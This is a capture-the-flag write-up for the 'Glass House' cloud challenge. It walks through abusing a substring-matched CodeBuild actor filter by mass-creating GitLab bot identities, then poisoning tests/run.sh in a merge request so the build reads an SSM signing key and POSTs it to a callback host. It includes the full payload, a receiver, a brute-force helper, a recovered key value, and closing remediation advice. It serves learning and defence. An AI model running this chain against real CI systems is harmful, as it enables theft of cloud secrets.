> For the complete documentation index, see [llms.txt](https://kabinet.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kabinet.gitbook.io/ctf-writeup/2026/wiz-cloud-security-challenge/glass-house.md).

# Glass House

### Challenge Description

Glass House asked us to use the open-sourced Cloud Security Championship platform repository to make the live platform record Challenge 12 as solved.

<figure><img src="/files/R16UcJ3Pn7NbYyO5Mf8X" alt=""><figcaption></figcaption></figure>

The challenge was a CI trust-boundary bug. External merge-request code could reach an AWS CodeBuild project if the GitLab merge-request event matched the project's webhook filters. That CodeBuild project ran with an IAM role that could read the Challenge 12 signing key from AWS SSM Parameter Store:

```
/ctf/challenge-12/signing-key
```

The intended gate was a CodeBuild webhook actor filter:

```
ACTOR_ID = 17531
```

That filter did not behave like an exact trusted-user check. It accepted GitLab actor IDs containing the string `17531`. Since GitLab user IDs and project-bot IDs are globally allocated, we could create identities until one landed in the matching range.

> The attack technique is similar to what Wiz had done previously on AWS SDK <https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild>

### Table of Contents

* [Challenge Description](#challenge-description)
* [Table of Contents](#table-of-contents)
* [Solution Overview](#solution-overview)
* [Initial Analysis](#initial-analysis)
  * [Repository reconnaissance](#repository-reconnaissance)
  * [Flag generation path](#flag-generation-path)
  * [CodeBuild trigger filters](#codebuild-trigger-filters)
* [Main Exploitation](#main-exploitation)
  * [Exfiltration payload](#exfiltration-payload)
  * [Callback receiver](#callback-receiver)
  * [Matching actor allocation](#matching-actor-allocation)
  * [Merge request trigger](#merge-request-trigger)
  * [Failed paths that clarified the bug](#failed-paths-that-clarified-the-bug)
* [Getting the Flag](#getting-the-flag)
  * [Extracting the signing key](#extracting-the-signing-key)
  * [Computing the challenge flag](#computing-the-challenge-flag)
  * [Reproduction checklist](#reproduction-checklist)
  * [Detection and cleanup notes](#detection-and-cleanup-notes)

### Solution Overview

The solve was to make CodeBuild run attacker-controlled MR code, use the CodeBuild role to read the Challenge 12 signing key from SSM, and compute the email-specific flag locally.

1. **Stage 1** - Enumerate the repository and find that CI runs `tests/run.sh`.
2. **Stage 2** - Inspect the verifier and identify the SSM signing-key path.
3. **Stage 3** - Inspect public CodeBuild history and webhook filters.
4. **Stage 4** - Create a GitLab project-token bot whose user ID contains `17531`.
5. **Stage 5** - Create an upstream MR as that matching bot actor.
6. **Stage 6** - Let CodeBuild run the payload, recover the signing key, and compute the flag with `scripts/mark_solve.py`.

**Key Vulnerability:** Privileged CodeBuild jobs trusted GitLab actor IDs using a weak substring match, so attacker-created GitLab bot identities could satisfy the filter and run MR code with access to the Challenge 12 SSM secret.

### Initial Analysis

Start by cloning the platform repository and looking for the CI entry point, then follow the flag-generation path.

#### Repository reconnaissance

Files worth reading first:

```
README.md
buildspec.yml
tests/run.sh
scripts/mark_solve.py
app/verifier.py
app/routes/
```

The README gave two clues:

```
External contributions welcome - open an MR against main.
CI runs the test suite via AWS CodeBuild on push and on every merge request update.
```

It also warned that the checked-in `buildspec.yml` was not necessarily the active CodeBuild configuration:

The legacy buildspec still pointed to the likely execution point:

```yaml
# NOTE: this file is legacy. The active CodeBuild project uses an inline
# buildspec defined in infra/codebuild.tf. Kept in the repo for parity with
# older deploy scripts and for local CI emulation.
version: 0.2

phases:
  install:
    runtime-versions:
      python: 3.11
  build:
    commands:
      - bash tests/run.sh
```

Inspect `tests/run.sh`:

```bash
#!/usr/bin/env bash
# Cloud Security Championship platform - test runner.
#
# Invoked by CodeBuild's project-level buildspec for each PR build.
# Runs unit tests + a small smoke test against the in-process FastAPI app.

set -euo pipefail

echo "==> Setting up test env"
python3 -m venv /tmp/venv
source /tmp/venv/bin/activate
pip install -q --no-cache-dir fastapi==0.115.4 httpx==0.27.2 pytest==8.3.4 pydantic==2.9.2

echo "==> Running unit tests"
if [ -d tests/unit ]; then
  python -m pytest tests/unit -q
else
  echo "  (no unit tests yet)"
fi

echo "==> Smoke test: importing app"
python -c "from app.main import app; print(f'OK app has {len(app.routes)} routes')" 2>/dev/null || echo "  (app module not loaded; skipping smoke test)"

echo "==> CI complete"
```

This file is a plain shell script run by CI. If CodeBuild runs an MR branch, changing `tests/run.sh` gives shell execution inside the CodeBuild job.

#### Flag generation path

The verifier showed that external-solve flags are HMAC based:

```python
@lru_cache(maxsize=8)
def _signing_key(challenge: int) -> str:
    # Production fetches from SSM via boto3. Local dev can override.
    override = os.environ.get(f"CTF_CHALLENGE_{challenge}_SIGNING_KEY")
    if override:
        return override
    import boto3
    ssm = boto3.client("ssm")
    return ssm.get_parameter(
        Name=f"/ctf/challenge-{challenge}/signing-key",
        WithDecryption=True,
    )["Parameter"]["Value"]


def _expected_flag(challenge: int, email: str) -> str:
    msg = f"{challenge}:{email.strip().lower()}".encode("utf-8")
    digest = hmac.new(
        _signing_key(challenge).encode("utf-8"), msg, hashlib.sha256
    ).hexdigest()
    return f"WIZ_CTF{{{digest[:24]}}}"
```

The signing-key loader showed the SSM parameter pattern:

```python
return ssm.get_parameter(
    Name=f"/ctf/challenge-{challenge}/signing-key",
    WithDecryption=True,
)["Parameter"]["Value"]
```

For Challenge 12, the parameter is:

```
/ctf/challenge-12/signing-key
```

The helper script also stated:

```
Only the relevant CodeBuild service role has ssm:GetParameter on that path.
```

The local flag helper used the same SSM path and HMAC computation:

```python
def get_signing_key_from_ssm(challenge: int) -> str:
    """Fetch the signing key from SSM Parameter Store."""
    import boto3
    ssm = boto3.client("ssm")
    resp = ssm.get_parameter(
        Name=f"/ctf/challenge-{challenge}/signing-key",
        WithDecryption=True,
    )
    return resp["Parameter"]["Value"]


def compute_flag(signing_key: str, challenge: int, email: str) -> str:
    msg = f"{challenge}:{email.strip().lower()}".encode("utf-8")
    digest = hmac.new(signing_key.encode("utf-8"), msg, hashlib.sha256).hexdigest()
    return f"WIZ_CTF{{{digest[:24]}}}"
```

That line narrowed the target. The application did not need to be broken at runtime. The path was privileged CodeBuild execution under the platform CI role.

#### CodeBuild trigger filters

The public CodeBuild project page showed the active inline buildspec:

```yaml
version: 0.2
phases:
  pre_build:
    commands:
      - 'echo webhook_event=${CODEBUILD_WEBHOOK_EVENT}'
      - 'echo webhook_actor=${CODEBUILD_WEBHOOK_ACTOR_ACCOUNT_ID}'
      - 'echo source_version=${CODEBUILD_SOURCE_VERSION}'
  build:
    commands:
      - 'bash tests/run.sh'
```

Project details:

```
Project: platform-ci
Source provider: GitLab self-managed
Repository: https://git.cloudsecuritychampionship.com/cloudsecuritychampionship/platform
Build image: aws/codebuild/amazonlinux-x86_64-standard:5.0
Timeout: 5 minutes
Logs: disabled
```

<figure><img src="/files/2hpzMAjDi01avztyMzdU" alt=""><figcaption></figcaption></figure>

The public build history also showed that successful CodeBuild jobs were tied to merge request events. One historical build looked like this:

```
Build number: 236
Status: Succeeded
Resolved source version: b73e2ed0c754e8bd0891ac34c4e1a9ac05fc135a
Initiator: GitLab/19.0.0
```

Mapping the SHA back to GitLab showed it came from an MR update, not from a normal pending GitLab pipeline.

<figure><img src="/files/3Ae8slgFsIMqYkINdpLx" alt=""><figcaption></figcaption></figure>

The trigger configuration mattered more than the GitLab pipeline status:

```
Events:
  PULL_REQUEST_CREATED
  PULL_REQUEST_UPDATED
  PULL_REQUEST_REOPENED

Start a build under these conditions:
  ACTOR_ID: 17531
  BASE_REF: refs/heads/main
```

<figure><img src="/files/6P2K4vmjYroRn3rkek5F" alt=""><figcaption></figcaption></figure>

`BASE_REF` meant the MR had to target upstream `main`. `ACTOR_ID` was the weak gate. It accepted actor IDs containing `17531` instead of only one exact trusted actor.

Examples from enumeration:

```
qwert user ID:              59578067  -> does not match
matching project bot ID:    62175318  -> matches
matching normal user ID:    64217531  -> matches
```

That matched what we saw in the early MRs. They were created by actors whose IDs did not satisfy the webhook filter, so CodeBuild never started.

### Main Exploitation

The working path was:

```
attacker-controlled MR branch -> tests/run.sh -> AWS CodeBuild role -> SSM signing key
```

#### Exfiltration payload

Payload goals:

1. Run inside `tests/run.sh`.
2. Install `boto3` if needed.
3. Try an environment variable first.
4. Fetch `/ctf/challenge-12/signing-key` from SSM.
5. POST only the key and CodeBuild metadata to a private receiver.
6. Continue the test script so the build does not fail too early.

The payload inserted into `tests/run.sh` was:

```bash
python3 -m pip install -q --no-cache-dir boto3==1.35.86 >/dev/null 2>&1 || true
python3 <<'GLASSKEY' || true
import json
import os
import traceback
import urllib.request

CALLBACK = 'https://<callback-host>/<random-path>'
PARAMETER = '/ctf/challenge-12/signing-key'


def send(payload):
    data = json.dumps(payload, sort_keys=True).encode()
    req = urllib.request.Request(
        CALLBACK,
        data=data,
        headers={'Content-Type': 'application/json'},
        method='POST',
    )
    urllib.request.urlopen(req, timeout=20)


try:
    key = os.environ.get('CTF_CHALLENGE_12_SIGNING_KEY')
    source = 'env'
    errors = []
    if not key:
        import boto3
        for region in [os.getenv('AWS_REGION'), os.getenv('AWS_DEFAULT_REGION'), 'us-east-1', None]:
            try:
                kwargs = {} if not region else {'region_name': region}
                ssm = boto3.client('ssm', **kwargs)
                key = ssm.get_parameter(Name=PARAMETER, WithDecryption=True)['Parameter']['Value']
                source = 'ssm:' + (region or 'default')
                break
            except Exception as exc:
                errors.append(f'{region or "default"}: {exc!r}')
    if not key:
        raise RuntimeError('no signing key: ' + '; '.join(errors[-4:]))

    send({
        'ok': True,
        'source': source,
        'parameter': PARAMETER,
        'key': key,
        'codebuild': {k: v for k, v in os.environ.items() if k.startswith('CODEBUILD_')},
    })
    print('GLASS_HOUSE_KEY_SENT', flush=True)
except Exception as exc:
    print('GLASS_HOUSE_KEY_ERROR=' + repr(exc), flush=True)
    try:
        send({'ok': False, 'error': repr(exc), 'trace': traceback.format_exc()[-2000:]})
    except Exception as inner:
        print('GLASS_HOUSE_REPORT_ERROR=' + repr(inner), flush=True)
GLASSKEY
```

The SSM call that mattered was:

```python
ssm.get_parameter(
    Name="/ctf/challenge-12/signing-key",
    WithDecryption=True,
)
```

#### Callback receiver

Because CodeBuild logs were disabled, the payload needed a callback channel.

Sanitized receiver code:

```python
import datetime
import json
import os
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer

PORT = 8765
TOKEN = "<random-path-token>"
LOG = ".glass_key_receiver.log"

os.umask(0o077)
open(LOG, "a").close()
os.chmod(LOG, 0o600)


class Handler(BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        return

    def _write(self, status=200, body=b"ok\n"):
        self.send_response(status)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def do_POST(self):
        if not self.path.startswith("/" + TOKEN):
            return self._write(404, b"not found\n")
        length = int(self.headers.get("content-length") or 0)
        body = self.rfile.read(min(length, 1024 * 1024))
        self._record(body)
        return self._write()

    def _record(self, body):
        entry = {
            "ts": datetime.datetime.utcnow().isoformat() + "Z",
            "client": self.client_address[0],
            "method": self.command,
            "path": self.path,
            "body": body.decode("utf-8", "replace"),
        }
        with open(LOG, "a") as f:
            f.write(json.dumps(entry, sort_keys=True) + "\n")


ThreadingHTTPServer(("127.0.0.1", PORT), Handler).serve_forever()
```

Run a local receiver:

```bash
python3 .glass_receiver.py
```

Expose it with ngrok:

```bash
ngrok http 8765
```

The receiver wrote JSON lines to:

```
.glass_key_receiver.log
```

#### Matching actor allocation

There were two identity sources that could produce a GitLab actor ID containing `17531`:

1. Project access tokens, which create project bot users.
2. Normal GitLab registrations, which create human users.

Project-token bots were faster and ended up being the successful route.

The helper script `tools/bruteforce_actor_api.py` repeatedly created project access tokens through the GitLab API:

```
POST /api/v4/projects/:id/access_tokens
```

The helper's matching logic was small. It created project access tokens, looked at the returned bot `user_id`, and stopped once the ID contained `17531`:

```python
def next_match_after(value, needle):
    value += 1
    while needle not in str(value):
        value += 1
    return value


def create_project_token(session, project_id, name, expires_at):
    resp = session.post(
        f"{BASE}/api/v4/projects/{project_id}/access_tokens",
        data={
            "name": name,
            "expires_at": expires_at,
            "access_level": "40",
            "scopes[]": ["api", "write_repository"],
        },
        timeout=20,
    )
    resp.raise_for_status()
    payload = resp.json()
    return {
        "id": int(payload["id"]),
        "name": payload["name"],
        "token": payload["token"],
        "user_id": int(payload["user_id"]),
        "scopes": payload.get("scopes"),
        "access_level": payload.get("access_level"),
    }


matched = args.needle in str(uid)
if matched:
    save_secure_json(args.out, {"project_id": args.project_id, "token": token})
    stop.set()
```

Each successful token created a bot user and returned a `user_id`:

```json
{
  "id": 2475863,
  "user_id": 62175318,
  "name": "api-actor-bf-...",
  "scopes": ["api", "write_repository"],
  "access_level": 40
}
```

Run the helper against the fork project:

```bash
python3 tools/bruteforce_actor_api.py \
  --workers 64 \
  --needle 17531 \
  --project-id 308 \
  --out /tmp/glass_matching_actor_token.json
```

The bot we needed was:

```
matching bot user_id: 62175318
```

That ID satisfies the webhook filter because it contains `17531`.

Normal user allocation also worked as a proof of concept. The successful normal user was:

```
username: glasse17802268371eaa4e2
user_id: 64217531
```

That confirmed the ID-allocation idea for both bots and humans, but the final CodeBuild run used the project bot.

#### Merge request trigger

With a matching bot available, the least messy trigger was a push with GitLab merge request push options. The source branch contained the modified `tests/run.sh`.

```bash
git push \
  -o merge_request.create \
  -o merge_request.target=main \
  -o merge_request.target_project=cloudsecuritychampionship/platform \
  -o merge_request.title="test: bot actor push-option" \
  "https://<bot_username>:<bot_token>@git.cloudsecuritychampionship.com/qwert/platform.git" \
  HEAD:"test/bot-pushopt-62175318-1780220852"
```

The resulting upstream MR was:

```
MR: !531
Source branch: test/bot-pushopt-62175318-1780220852
Source commit: 28c42670befe063f6bd26955fcf1bb5aaa733ce5
Actor ID: 62175318
```

<figure><img src="/files/FL0jiuHQiAZiC0KJHdg7" alt=""><figcaption></figcaption></figure>

Because the MR creation event came from a matching actor, CodeBuild accepted the webhook and ran the branch.

The receiver log captured the CodeBuild metadata:

```json
{
  "CODEBUILD_BUILD_NUMBER": "239",
  "CODEBUILD_BUILD_ID": "platform-ci:5aa20653-4d18-48eb-afd2-0cdcb80cb7f4",
  "CODEBUILD_RESOLVED_SOURCE_VERSION": "28c42670befe063f6bd26955fcf1bb5aaa733ce5",
  "CODEBUILD_WEBHOOK_ACTOR_ACCOUNT_ID": "62175318",
  "CODEBUILD_WEBHOOK_BASE_REF": "refs/heads/main",
  "CODEBUILD_WEBHOOK_EVENT": "PULL_REQUEST_CREATED",
  "CODEBUILD_WEBHOOK_HEAD_REF": "refs/heads/test/bot-pushopt-62175318-1780220852",
  "CODEBUILD_WEBHOOK_TRIGGER": "mr/531"
}
```

The payload returned the signing key:

```json
{
  "ok": true,
  "source": "ssm:us-east-1",
  "parameter": "/ctf/challenge-12/signing-key",
  "key": "adadc23c5e2271a47b6df3c2ef51f02955a92014d1b4d823dbe3cbe31d190c90"
}
```

<figure><img src="/files/FyTGXv9F5epYFwm9d5bd" alt=""><figcaption></figcaption></figure>

The callback proved the whole chain: CodeBuild executed the MR branch, the bot ID satisfied the actor filter, and the CodeBuild role could read the SSM signing key.

#### Failed paths that clarified the bug

The first attempts used the normal `qwert` user:

```
qwert user_id: 59578067
```

That user could create forks and MRs, but GitLab pipelines stayed pending or failed without CodeBuild execution:

```
started_at: null
runner: null
no CodeBuild target_url
no new public CodeBuild build
no callback to ngrok
```

<figure><img src="/files/OMfjNmPTZDWfvNT3Jrs1" alt=""><figcaption></figcaption></figure>

The reason was simple: `59578067` does not contain `17531`, so CodeBuild ignored the webhook event.

Several public MRs also had comments like:

```
/codebuild_run
```

That looked promising at first, but mapping historical builds showed the real trigger was an MR event from a matching actor. Posting `/codebuild_run` from nonmatching users did not start CodeBuild. Posting it later from the matching normal user also did not produce the final callback.

MR title, commit message, and branch-name injection did not help either. The blocking filter was actor ID, not text controlled by the branch or MR title.

### Getting the Flag

Once the signing key was recovered, the rest of the solve was local. Challenge 12 flags are bound to the participant email:

```
message = "12:<lowercase participant email>"
algorithm = HMAC-SHA256
output = first 24 hex characters
format = WIZ_CTF{<digest-prefix>}
```

Use the helper already included in the repo:

```bash
python3 scripts/mark_solve.py \
  --challenge 12 \
  --email 'YOUR_CTF_EMAIL' \
  --secret 'adadc23c5e2271a47b6df3c2ef51f02955a92014d1b4d823dbe3cbe31d190c90'
```

The printed value is the flag to submit.

**Flag:** `WIZ_CTF{<email-specific-digest-prefix>}`

### Summary

The fixes are straightforward:

1. Do not run untrusted fork or MR code in a CI environment with access to secrets or privileged cloud roles.
2. Do not use substring or regex actor-ID filters as a trust boundary.
3. If actor filtering is needed, match exact immutable principals.
4. Treat project access token bots and app/bot users as attacker-allocatable identities unless creation is tightly controlled.
5. Split external contributor CI from internal privileged CI.
6. Require a maintainer-controlled action before running privileged builds.
7. Scope CodeBuild IAM roles so CI cannot read challenge signing keys unless the job needs them.
8. Monitor unusual project-token creation bursts and fork/MR activity from new bot users.
